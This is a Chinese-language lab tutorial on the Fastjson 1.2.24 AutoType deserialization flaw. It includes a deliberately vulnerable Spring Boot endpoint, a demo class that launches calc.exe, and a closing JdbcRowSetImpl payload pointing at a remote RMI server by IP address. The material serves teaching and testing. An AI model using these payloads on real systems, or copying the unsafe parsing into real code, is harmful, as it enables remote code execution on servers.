FastJson 库是 Java 的一个 Json 库,其作用是将 Java 对象转换成 json 数据来表示,也可以将 json 数据转换成 Java 对象。
Fastjson 的漏洞本质还是一个 java 的反序列化漏洞,由于引进了 AutoType 功能,fastjson 在对 json 字符串反序列化的时候,会读取到 @type 的内容,将 json 内容反序列化为 java 对象并调用这个类的 setter 方法。
为什么引入 AutoType 功能
答:为了解决序列化机制未正确处理多态类型时,导致反序列化无法还原原始对象。
假设有一个接口 Fruit,它有两个实现类
class Apple implements Fruit {
private int price;
//省略 setter/getter、toString等
}
class Banana implements Fruit {
private int price;
//省略 setter/getter、toString等
}
// 这样调用
Fruit fruit = new Apple(); // 接口引用指向子类对象
Fruit fruit = new Banana(); // 接口引用指向子类对象
将 fruit 对象序列化之后,得到 json 数据,但是将 json 再反序列化生成 java 对象的时候,无法区分原始类是 apple 还是 banana。
// 猜猜哪个价格是苹果的,哪个是香蕉的
{"Fruit":{"price":1}}
{"Fruit":{"price":2}}
为了解决上述问题: fastjson 引入了基于属性(AutoType),即在序列化的时候,先把原始类型记录下来。使用 @type 的键记录原始类型,在本例中,引入 AutoType 后,Apple 类对象序列化为 json 格式后为:
{ "fruit":{ "@type":"com.test.Apple", "price":2 } }
这样在反序列化的时候就可以区分原始的类了
fastjson 漏洞靶场搭建
搭建靶场环境:Windows 环境,使用 idea 工具,java 版本为 8u11(高版本 java 对 rmi 做了限制),Spring Boot 框架,使用 maven 引入 fastjson 依赖。
定义一个 Person 类
package top.lanhuli.demo1;
public class Person {
public int id;
public String name;
public int age;
public Person(int id, String name, int age) {
this.id = id;
this.name = name;
this.age = age;
System.out.println("调用有参构造方法");
}
public Person() {
System.out.println("调用无参构造方法");
}
public int getId() {
System.out.println("调用getId方法");
return id;
}
public void setId(int id) {
this.id = id;
System.out.println("调用setId方法");
}
public String getName() {
System.out.println("调用getName方法");
return name;
}
public void setName(String name) {
this.name = name;
System.out.println("调用setName方法");
}
public int getAge() {
System.out.println("调用getAge方法");
return age;
}
public void setAge(int age) {
this.age = age;
System.out.println("调用setAge方法");
}
@Override
public String toString() {
return "person{" +
"id=" + id +
", name='" + name + '\'' +
", age=" + age +
'}';
}
}
Hacker 恶意类,其中 get 方法执行命令
package top.lanhuli.demo2;
import java.io.IOException;
public class Hacker {
String hi = "";
public Hacker(String hi) {
this.hi = hi;
}
public Hacker() {
}
public String getHi() throws IOException {
System.out.println("调用了Hacker恶意类的 getHi 方法");
Runtime.getRuntime().exec("calc.exe");
return hi;
}
public void setHi(String hi) {
System.out.println("调用了Hacker恶意类的 setHi 方法");
this.hi = hi;
}
@Override
public String toString() {
return "Hacker{" +
"hi='" + hi + '\'' +
'}';
}
}
前端代码,其实可以不用,直接用 burp 发包也一样
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>fastjson1.2.24版本漏洞测试</title>
<style>
* {
box-sizing: border-box;
margin: 0;
padding: 0;
font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
}
body {
background: linear-gradient(135deg, #f5f7fa 0%, #c3cfe2 100%);
min-height: 100vh;
display: flex;
justify-content: center;
align-items: center;
padding: 20px;
}
.container {
background-color: white;
border-radius: 12px;
box-shadow: 0 10px 30px rgba(0, 0, 0, 0.15);
width: 100%;
max-width: 500px;
overflow: hidden;
}
.header {
background: #4b6cb7;
background: linear-gradient(to right, #182848, #4b6cb7);
color: white;
padding: 25px 30px;
text-align: center;
}
.header h1 {
font-weight: 600;
font-size: 24px;
}
.form-container {
padding: 30px;
}
.form-group {
margin-bottom: 20px;
}
label {
display: block;
margin-bottom: 8px;
font-weight: 500;
color: #2d3748;
}
input {
width: 100%;
padding: 12px 15px;
border: 1px solid #e2e8f0;
border-radius: 6px;
font-size: 16px;
transition: all 0.3s ease;
}
input:focus {
outline: none;
border-color: #4b6cb7;
box-shadow: 0 0 0 3px rgba(75, 108, 183, 0.2);
}
button {
width: 100%;
padding: 14px;
background: #4b6cb7;
background: linear-gradient(to right, #182848, #4b6cb7);
color: white;
border: none;
border-radius: 6px;
font-size: 16px;
font-weight: 600;
cursor: pointer;
transition: all 0.3s ease;
}
button:hover {
transform: translateY(-2px);
box-shadow: 0 4px 12px rgba(75, 108, 183, 0.4);
}
button:active {
transform: translateY(0);
}
.response-container {
margin-top: 25px;
padding: 20px;
background-color: #f8fafc;
border-radius: 8px;
border-left: 4px solid #4b6cb7;
}
.response-title {
font-weight: 600;
margin-bottom: 10px;
color: #2d3748;
}
pre {
white-space: pre-wrap;
word-break: break-all;
font-size: 14px;
color: #4a5568;
background: #edf2f7;
padding: 12px;
border-radius: 4px;
max-height: 200px;
overflow-y: auto;
}
.status {
display: inline-block;
padding: 4px 8px;
border-radius: 4px;
font-size: 14px;
font-weight: 500;
margin-top: 10px;
}
.status.success {
background-color: #c6f6d5;
color: #2f855a;
}
.status.error {
background-color: #fed7d7;
color: #c53030;
}
.json-preview {
margin-top: 20px;
padding: 15px;
background-color: #f8fafc;
border-radius: 8px;
}
.json-preview-title {
font-weight: 600;
margin-bottom: 10px;
color: #2d3748;
}
</style>
</head>
<body>
<div class="container">
<div class="header">
<h1>发送JSON数据到后端</h1>
</div>
<div class="form-container">
<form id="jsonForm">
<div class="form-group">
<label for="id">ID</label>
<input type="text" id="id" name="id" placeholder="请输入ID" required>
</div>
<div class="form-group">
<label for="name">姓名</label>
<input type="text" id="name" name="name" placeholder="请输入姓名" required>
</div>
<div class="form-group">
<label for="age">年龄</label>
<input type="number" id="age" name="age" placeholder="请输入年龄" min="1" max="120" required>
</div>
<button type="submit">发送JSON数据</button>
</form>
<div class="json-preview">
<div class="json-preview-title">将要发送的JSON数据:</div>
<pre id="jsonPreview">{"id": "", "name": "", "age": ""}</pre>
</div>
<div class="response-container">
<div class="response-title">后端响应:</div>
<pre id="response">等待发送数据...</pre>
<div id="status" class="status"></div>
</div>
</div>
</div>
<script>
document.addEventListener('DOMContentLoaded', function() {
const form = document.getElementById('jsonForm');
const jsonPreview = document.getElementById('jsonPreview');
const responseElement = document.getElementById('response');
const statusElement = document.getElementById('status');
// 获取所有输入字段
const inputs = form.querySelectorAll('input');
// 更新JSON预览
function updateJsonPreview() {
const formData = {
id: document.getElementById('id').value,
name: document.getElementById('name').value,
age: document.getElementById('age').value
};
jsonPreview.textContent = JSON.stringify(formData, null, 2);
}
// 为所有输入字段添加事件监听
inputs.forEach(input => {
input.addEventListener('input', updateJsonPreview);
});
// 初始更新一次预览
updateJsonPreview();
// 表单提交事件处理
form.addEventListener('submit', async function(event) {
event.preventDefault(); // 阻止表单默认提交行为
// 获取表单数据
const formData = {
id: document.getElementById('id').value,
name: document.getElementById('name').value,
age: document.getElementById('age').value
};
// 显示"发送中"状态
responseElement.textContent = "发送中...";
statusElement.textContent = "";
statusElement.className = "status";
try {
// 发送POST请求到后端
const response = await fetch('/houduan', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify(formData)
});
// 检查响应状态
if (!response.ok) {
throw new Error(`HTTP错误! 状态: ${response.status}`);
}
// 解析响应数据
const data = await response.json();
// 显示响应数据
responseElement.textContent = JSON.stringify(data, null, 2);
statusElement.textContent = "成功! 状态码: " + response.status;
statusElement.className = "status success";
} catch (error) {
// 显示错误信息
responseElement.textContent = "错误: " + error.message;
statusElement.textContent = "请求失败";
statusElement.className = "status error";
console.error('发送数据时出错:', error);
}
});
});
</script>
</body>
</html>
后端代码:两个接口分别为 /houduan 和 /houduan2
package top.lanhuli.demo2;
import com.alibaba.fastjson.JSON;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RestController;
@RestController
public class Test01 {
@PostMapping("/houduan")
public String houduan1(@RequestBody String jsonStr){
try {
// 危险:直接解析用户输入的 JSON
Object obj = JSON.parse(jsonStr); // 通常不调用 getter 方法
return "数据接收成功: " + obj.toString();
} catch (Exception e) {
return "错误: " + e.getMessage();
}
// System.out.println("接收到用户数据: " + person.toString());
// return "成功接收用户: " + person.getName();
}
@PostMapping("/houduan2")
public String houduan2(@RequestBody String jsonStr){
try {
// 危险:直接解析用户输入的 JSON
Object obj = JSON.parseObject(jsonStr); // 既调用 setter 也调用 getter
return "数据接收成功: " + obj.toString();
} catch (Exception e) {
return "错误: " + e.getMessage();
}
// System.out.println("接收到用户数据: " + person.toString());
// return "成功接收用户: " + person.getName();
}
}
测试一下,可以正常运行

上 payload 试一下,可以弹出计算器

简单讲解这个靶场:top.lanhuli.demo2.Hacker 是事先写好的一个恶意类,仅作演示使用,实际环境不可能会让你上传一个 java 代码文件,一般的 fastjson 漏洞利用是通过 rmi 或者 ladp 方法利用。
{
"b":{
"@type":"top.lanhuli.demo2.Hacker"
}
}
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://8.140.21.107:8085/EeGGTEBH",
"autoCommit":true
}
}